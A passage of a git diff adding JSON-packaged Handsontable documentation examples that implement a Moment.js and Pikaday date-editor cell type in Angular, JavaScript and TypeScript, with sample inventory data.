\"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ChangeDetectionStrategy, ElementRef, ViewChild } from '@angular/core';\nimport {\n HotCellEditorAdvancedComponent,\n HotCellRendererAdvancedComponent,\n GridSettings,\n HotTableModule\n} from '@handsontable/angular-wrapper';\nimport moment from 'moment';\nimport Pikaday from '@handsontable/pikaday';\n\nconst DATE_FORMAT = 'YYYY-MM-DD';\n\n@Component({\n standalone: true,\n selector: 'example1-moment-date-editor',\n template: `
    `,\n styles: [\n `\n :host { display: block; }\n .pikaday-container { min-height: 250px; }\n `,\n ],\n})\nexport class MomentDateEditorComponent extends HotCellEditorAdvancedComponent {\n @ViewChild('container', { static: true }) container!: ElementRef;\n private pikaday: Pikaday | null = null;\n\n override afterOpen(): void {\n this.pikaday = new Pikaday({\n field: this.container.nativeElement,\n container: this.container.nativeElement,\n bound: false,\n format: DATE_FORMAT,\n firstDay: 0,\n showWeekNumber: true,\n disableDayFn: (date: Date) => date.getDay() === 0 || date.getDay() === 6,\n onSelect: (date: Date) => {\n this.setValue(moment(date).format(DATE_FORMAT));\n },\n onClose: () => {\n this.finishEdit.emit();\n },\n });\n\n if (this.value) {\n const m = moment(this.value, DATE_FORMAT, true);\n\n if (m.isValid()) {\n (this.pikaday as any).setMoment?.(m);\n }\n } else {\n this.pikaday.gotoToday();\n }\n\n this.pikaday.show();\n }\n\n override afterClose(): void {\n this.pikaday?.destroy();\n this.pikaday = null;\n }\n\n override onFocus(): void {\n this.container.nativeElement.focus();\n }\n}\n\n@Component({\n standalone: true,\n selector: 'example1-moment-date-renderer',\n changeDetection: ChangeDetectionStrategy.OnPush,\n template: `{{ formattedDate }}`,\n})\nexport class MomentDateRendererComponent extends HotCellRendererAdvancedComponent {\n get formattedDate(): string {\n if (!this.value) return '';\n const m = moment(this.value, DATE_FORMAT, true);\n\n return m.isValid() ? m.format(DATE_FORMAT) : this.value;\n }\n}\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example1-moment-date',\n template: `
    `,\n})\nexport class AppComponent {\n readonly data = [\n {\n itemName: 'Lunar Core',\n category: 'Lander',\n leadEngineer: 'Ellen Ripley',\n restockDate: '2025-08-01',\n cost: 350000,\n },\n {\n itemName: 'Zero Thrusters',\n category: 'Propulsion',\n leadEngineer: 'Sam Bell',\n restockDate: '2025-09-15',\n cost: 450000,\n },\n {\n itemName: 'EVA Suits',\n category: 'Equipment',\n leadEngineer: 'Alex Rogan',\n restockDate: '2025-10-05',\n cost: 150000,\n },\n {\n itemName: 'Solar Panels',\n category: 'Energy',\n leadEngineer: 'Dave Bowman',\n restockDate: '2025-11-10',\n cost: 75000,\n },\n {\n itemName: 'Comm Array',\n category: 'Communication',\n leadEngineer: 'Louise Banks',\n restockDate: '2025-12-20',\n cost: 125000,\n },\n {\n itemName: 'Habitat Dome',\n category: 'Shelter',\n leadEngineer: 'Dr. Ryan Stone',\n restockDate: '2026-01-25',\n cost: 1000000,\n },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Restock Date', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'restockDate',\n width: 150,\n allowInvalid: false,\n editor: MomentDateEditorComponent,\n renderer: MomentDateRendererComponent,\n } as any,\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"recipes/cell-types/moment-date/angular/example1.ts","breadcrumb":["Recipes","Cell Types","Moment.js-based date"],"guide":"recipes/cell-types/moment-date/moment-date.md","guideTitle":"Moment.js-based date","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-date","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__javascript__example1.js.json new file mode 100644 index 00000000..ad9eb71b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based date · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { getRenderer } from 'handsontable/renderers';\nimport { editorFactory } from 'handsontable/editors';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport moment from 'moment';\nimport Pikaday from '@handsontable/pikaday';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst data = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n];\n\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1');\nconst correctFormat = (value, dateFormat) => {\n const dateFromDate = moment(value);\n const dateFromMoment = moment(value, dateFormat);\n const isAlphanumeric = value.search(/[A-Za-z]/g) > -1;\n let date;\n\n if (\n (dateFromDate.isValid() && dateFromDate.format('x') === dateFromMoment.format('x')) ||\n !dateFromMoment.isValid() ||\n isAlphanumeric\n ) {\n date = dateFromDate;\n } else {\n date = dateFromMoment;\n }\n\n return date.format(dateFormat);\n};\n\nconst cellDateTypeDefinition = {\n renderer: getRenderer('text'),\n validator(value, callback) {\n let valid = true;\n\n if (value === null || value === undefined) {\n value = '';\n }\n\n let isValidFormat = moment(value, this.dateFormat, true).isValid();\n let isValidDate = moment(new Date(value)).isValid() || isValidFormat;\n\n if (this.allowEmpty && value === '') {\n isValidDate = true;\n isValidFormat = true;\n }\n\n if (!isValidDate) {\n valid = false;\n }\n\n if (!isValidDate && isValidFormat) {\n valid = true;\n }\n\n if (isValidDate && !isValidFormat) {\n if (this.correctFormat === true) {\n const correctedValue = correctFormat(value, this.dateFormat);\n\n this.instance.setDataAtCell(this.visualRow, this.visualCol, correctedValue, 'dateValidator');\n valid = true;\n } else {\n valid = false;\n }\n }\n\n callback(valid);\n },\n editor: editorFactory({\n position: 'portal',\n shortcuts: [\n {\n keys: [['ArrowLeft']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('subtract', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowRight']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('add', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowUp']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('subtract', 7);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowDown']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('add', 7);\n _event.preventDefault();\n },\n },\n ],\n init(editor) {\n editor.parentDestroyed = false;\n // create the input element on init. This is a text input that color picker will be attached to.\n editor.input = editor.hot.rootDocument.createElement('input');\n editor.datePicker = editor.container;\n // Prevent recognizing clicking on datepicker as clicking outside of table.\n editor.hot.rootDocument.addEventListener('mousedown', (event) => {\n if (event.target && event.target.classList.contains('pika-day')) {\n editor.hideDatepicker(editor);\n }\n });\n },\n getDatePickerConfig(editor) {\n const htInput = editor.input;\n const options = {};\n\n if (editor.cellProperties && editor.cellProperties.datePickerConfig) {\n Object.assign(options, editor.cellProperties.datePickerConfig);\n }\n\n const origOnSelect = options.onSelect;\n const origOnClose = options.onClose;\n\n options.field = htInput;\n options.trigger = htInput;\n options.container = editor.datePicker;\n options.bound = false;\n options.keyboardInput = false;\n options.format = options.format ?? editor.getDateFormat(editor);\n options.reposition = options.reposition || false;\n // Set the RTL to `false`. Due to the https://github.com/Pikaday/Pikaday/issues/647 bug, the layout direction\n // of the date picker is controlled by juggling the \"dir\" attribute of the root date picker element.\n options.isRTL = false;\n options.onSelect = function (date) {\n let dateStr;\n\n if (!isNaN(date.getTime())) {\n dateStr = moment(date).format(editor.getDateFormat(editor));\n }\n\n editor.setValue(dateStr);\n\n if (origOnSelect) {\n origOnSelect.call(editor.pikaday, date);\n }\n\n if (Handsontable.helper.isMobileBrowser()) {\n editor.hideDatepicker(editor);\n }\n };\n options.onClose = () => {\n if (!editor.parentDestroyed) {\n editor.finishEditing(false);\n }\n\n if (origOnClose) {\n origOnClose();\n }\n };\n\n return options;\n },\n hideDatepicker(editor) {\n editor.pikaday.hide();\n },\n showDatepicker(editor, event) {\n const dateFormat = editor.getDateFormat(editor);\n // TODO: view is not exported in the handsontable library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n const isMouseDown = editor.hot.view.isMouseDown();\n const isMeta = event && 'keyCode' in event ? Handsontable.helper.isFunctionKey(event.keyCode) : false;\n let dateStr;\n\n editor.datePicker.style.display = 'block';\n editor.pikaday = new Pikaday(editor.getDatePickerConfig(editor));\n\n // TODO: useMoment is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n if (typeof editor.pikaday.useMoment === 'function') {\n // @ts-ignore\n editor.pikaday.useMoment(moment);\n }\n\n // TODO: _onInputFocus is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n editor.pikaday._onInputFocus = function () {};\n\n if (editor.originalValue) {\n dateStr = editor.originalValue;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pikaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n // workaround for date/time cells - pikaday resets the cell value to 12:00 AM by default, this will overwrite the value.\n if (editor.getValue() !== editor.originalValue) {\n editor.setValue(editor.originalValue);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else if (editor.cellProperties.defaultDate) {\n dateStr = editor.cellProperties.defaultDate;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pikaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else {\n // if a default date is not defined, set a soft-default-date: display the current day and month in the\n // datepicker, but don't fill the editor input\n editor.pikaday.gotoToday();\n }\n },\n afterClose(editor) {\n if (editor.pikaday.destroy) {\n editor.pikaday.destroy();\n }\n },\n afterOpen(editor, event) {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.input.style.width = `${cellRect.width}px`;\n editor.input.style.height = `${cellRect.height}px`;\n editor.showDatepicker(editor, event);\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n getDateFormat(editor) {\n return editor.cellProperties.dateFormat ?? 'DD/MM/YYYY';\n },\n }),\n};\n\nregisterCellType('moment-date', cellDateTypeDefinition);\n\n// Define configuration options for the Handsontable\nconst hotOptions = {\n data,\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Restock Date', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'restockDate',\n type: 'moment-date',\n width: 150,\n dateFormat: 'YYYY-MM-DD',\n correctFormat: true,\n datePickerConfig: {\n firstDay: 0,\n showWeekNumber: true,\n disableDayFn(date) {\n return date.getDay() === 0 || date.getDay() === 6;\n },\n },\n },\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, hotOptions);","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".ht_editor_visible > input {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n margin-top: -1px;\n margin-left: -1px;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: var(--ht-font-size);\n line-height: var(--ht-line-height);\n}\n.ht_editor_visible > input:focus-visible {\n border: none !important;\n outline: none !important;\n}"},"docsPath":"recipes/cell-types/moment-date/javascript/example1.js","breadcrumb":["Recipes","Cell Types","Moment.js-based date"],"guide":"recipes/cell-types/moment-date/moment-date.md","guideTitle":"Moment.js-based date","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/moment-date","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__javascript__example1.ts.json new file mode 100644 index 00000000..f9b61458 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__moment-date__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Recipes ▸ Cell Types ▸ Moment.js-based date · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"moment\": \"2.30.1\",\n \"@handsontable/pikaday\": \"1.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { getRenderer } from 'handsontable/renderers';\nimport { editorFactory } from 'handsontable/editors';\nimport { registerCellType } from 'handsontable/cellTypes';\nimport moment from 'moment';\nimport Pikaday from '@handsontable/pikaday';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n/* start:skip-in-preview */\nconst data = [\n {\n id: 640329,\n itemName: 'Lunar Core',\n itemNo: 'XJ-12',\n leadEngineer: 'Ellen Ripley',\n cost: 350000,\n inStock: true,\n category: 'Lander',\n itemQuality: 87,\n origin: '🇺🇸 USA',\n quantity: 2,\n valueStock: 700000,\n repairable: false,\n supplierName: 'TechNova',\n restockDate: '2025-08-01',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 863104,\n itemName: 'Zero Thrusters',\n itemNo: 'QL-54',\n leadEngineer: 'Sam Bell',\n cost: 450000,\n inStock: false,\n category: 'Propulsion',\n itemQuality: 0,\n origin: '🇩🇪 Germany',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'PropelMax',\n restockDate: '2025-09-15',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 395603,\n itemName: 'EVA Suits',\n itemNo: 'PM-67',\n leadEngineer: 'Alex Rogan',\n cost: 150000,\n inStock: true,\n category: 'Equipment',\n itemQuality: 79,\n origin: '🇮🇹 Italy',\n quantity: 50,\n valueStock: 7500000,\n repairable: true,\n supplierName: 'SuitCraft',\n restockDate: '2025-10-05',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 679083,\n itemName: 'Solar Panels',\n itemNo: 'BW-09',\n leadEngineer: 'Dave Bowman',\n cost: 75000,\n inStock: true,\n category: 'Energy',\n itemQuality: 95,\n origin: '🇺🇸 USA',\n quantity: 10,\n valueStock: 750000,\n repairable: false,\n supplierName: 'SolarStream',\n restockDate: '2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n];\n/* end:skip-in-preview */\n// Get the DOM element with the ID 'example1' where the Handsontable will be rendered\nconst container = document.querySelector('#example1')!;\n\nconst correctFormat = (value: string, dateFormat: string): string => {\n const dateFromDate = moment(value);\n const dateFromMoment = moment(value, dateFormat);\n const isAlphanumeric = value.search(/[A-Za-z]/g) > -1;\n let date;\n\n if ((dateFromDate.isValid() && dateFromDate.format('x') === dateFromMoment.format('x')) ||\n !dateFromMoment.isValid() ||\n isAlphanumeric) {\n date = dateFromDate;\n\n } else {\n date = dateFromMoment;\n }\n\n return date.format(dateFormat);\n}\n\nconst cellDateTypeDefinition = {\n renderer: getRenderer('autocomplete'),\n validator: function(value, callback) {\n let valid = true;\n\n if (value === null || value === undefined) {\n value = '';\n }\n\n let isValidFormat = moment(value, this.dateFormat, true).isValid();\n let isValidDate = moment(new Date(value)).isValid() || isValidFormat;\n\n if (this.allowEmpty && value === '') {\n isValidDate = true;\n isValidFormat = true;\n }\n if (!isValidDate) {\n valid = false;\n }\n if (!isValidDate && isValidFormat) {\n valid = true;\n }\n\n if (isValidDate && !isValidFormat) {\n if (this.correctFormat === true) {\n const correctedValue = correctFormat(value, this.dateFormat);\n\n this.instance.setDataAtCell(this.visualRow, this.visualCol, correctedValue, 'dateValidator');\n valid = true;\n } else {\n valid = false;\n }\n }\n\n callback(valid);\n },\n editor: editorFactory({\n position: 'portal',\n shortcuts: [\n {\n keys: [['ArrowLeft']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('subtract', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowRight']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('add', 1);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowUp']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('subtract', 7);\n _event.preventDefault();\n },\n },\n {\n keys: [['ArrowDown']],\n callback: (editor, _event) => {\n // @ts-ignore\n editor.pikaday.adjustDate('add', 7);\n _event.preventDefault();\n },\n },\n ],\n init(editor) {\n editor.parentDestroyed = false;\n // create the input element on init. This is a text input that color picker will be attached to.\n editor.input = editor.hot.rootDocument.createElement('input');\n editor.datePicker = editor.container;\n // Prevent recognizing clicking on datepicker as clicking outside of table.\n editor.hot.rootDocument.addEventListener('mousedown', (event) => {\n if (event.target && event.target.classList.contains('pika-day')) {\n editor.hideDatepicker(editor);\n }\n });\n },\n getDatePickerConfig(editor) {\n const htInput = editor.input;\n const options = {};\n\n if (editor.cellProperties && editor.cellProperties.datePickerConfig) {\n Object.assign(options, editor.cellProperties.datePickerConfig);\n }\n\n const origOnSelect = options.onSelect;\n const origOnClose = options.onClose;\n\n options.field = htInput;\n options.trigger = htInput;\n options.container = editor.datePicker;\n options.bound = false;\n options.keyboardInput = false;\n options.format = options.format ?? editor.getDateFormat(editor);\n options.reposition = options.reposition || false;\n // Set the RTL to `false`. Due to the https://github.com/Pikaday/Pikaday/issues/647 bug, the layout direction\n // of the date picker is controlled by juggling the \"dir\" attribute of the root date picker element.\n options.isRTL = false;\n options.onSelect = function (date) {\n let dateStr;\n\n if (!isNaN(date.getTime())) {\n dateStr = moment(date).format(editor.getDateFormat(editor));\n }\n\n editor.setValue(dateStr);\n\n if (origOnSelect) {\n origOnSelect.call(editor.pikaday, date);\n }\n\n if (Handsontable.helper.isMobileBrowser()) {\n editor.hideDatepicker(editor);\n }\n };\n options.onClose = () => {\n if (!editor.parentDestroyed) {\n editor.finishEditing(false);\n }\n\n if (origOnClose) {\n origOnClose();\n }\n };\n\n return options;\n },\n hideDatepicker(editor) {\n editor.pikaday.hide();\n },\n showDatepicker(editor, event) {\n const dateFormat = editor.getDateFormat(editor);\n // TODO: view is not exported in the handsontable library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n const isMouseDown = editor.hot.view.isMouseDown();\n const isMeta = event && 'keyCode' in event ? Handsontable.helper.isFunctionKey(event.keyCode) : false;\n\n let dateStr;\n\n editor.datePicker.style.display = 'block';\n editor.pikaday = new Pikaday(editor.getDatePickerConfig(editor));\n\n // TODO: useMoment is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n if (typeof editor.pikaday.useMoment === 'function') {\n // @ts-ignore\n editor.pikaday.useMoment(moment);\n }\n\n // TODO: _onInputFocus is not exported in the pikaday library d.ts, so we need to use @ts-ignore\n // @ts-ignore\n editor.pikaday._onInputFocus = function () {};\n\n if (editor.originalValue) {\n dateStr = editor.originalValue;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pikaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n // workaround for date/time cells - pikaday resets the cell value to 12:00 AM by default, this will overwrite the value.\n if (editor.getValue() !== editor.originalValue) {\n editor.setValue(editor.originalValue);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else if (editor.cellProperties.defaultDate) {\n dateStr = editor.cellProperties.defaultDate;\n\n if (moment(dateStr, dateFormat, true).isValid()) {\n editor.pikaday.setMoment(moment(dateStr, dateFormat), true);\n }\n\n if (!isMeta && !isMouseDown) {\n editor.setValue('');\n }\n } else {\n // if a default date is not defined, set a soft-default-date: display the current day and month in the\n // datepicker, but don't fill the editor input\n editor.pikaday.gotoToday();\n }\n },\n afterClose(editor) {\n if (editor.pikaday.destroy) {\n editor.pikaday.destroy();\n }\n },\n afterOpen(editor, event) {\n const cellRect = editor.TD.getBoundingClientRect();\n\n editor.input.style.width = `${cellRect.width}px`;\n editor.input.style.height = `${cellRect.height}px`;\n editor.showDatepicker(editor, event);\n },\n getValue(editor) {\n return editor.input.value;\n },\n setValue(editor, value) {\n editor.input.value = value;\n },\n getDateFormat(editor) {\n return editor.cellProperties.dateFormat ?? 'DD/MM/YYYY';\n },\n }),\n};\n\nregisterCellType('moment-date', cellDateTypeDefinition);\n\n// Define configuration options for the Handsontable\nconst hotOptions: Handsontable.GridSettings = {\n data,\n colHeaders: ['Item Name', 'Category', 'Lead Engineer', 'Restock Date', 'Cost'],\n autoRowSize: true,\n rowHeaders: true,\n height: 'auto',\n width: '100%',\n autoWrapRow: true,\n headerClassName: 'htLeft',\n columns: [\n { data: 'itemName', type: 'text', width: 130 },\n { data: 'category', type: 'text', width: 120 },\n { data: 'leadEngineer', type: 'text', width: 150 },\n {\n data: 'restockDate',\n type: 'moment-date',\n width: 150,\n dateFormat: 'YYYY-MM-DD',\n correctFormat: true,\n datePickerConfig: {\n firstDay: 0,\n showWeekNumber: true,\n disableDayFn(date: Date) {\n return date.getDay() === 0 || date.getDay() === 6;\n },\n },\n },\n {\n data: 'cost',\n type: 'numeric',\n width: 120,\n className: 'htRight',\n numericFormat: {\n pattern: '$0,0.00',\n culture: 'en-US',\n },\n },\n ],\n licenseKey: 'non-commercial-and-evaluation',\n};\n\n// Initialize the Handsontable instance with the specified configuration options\n// eslint-disable-next-line no-unused-vars\nconst hot = new Handsontable(container, 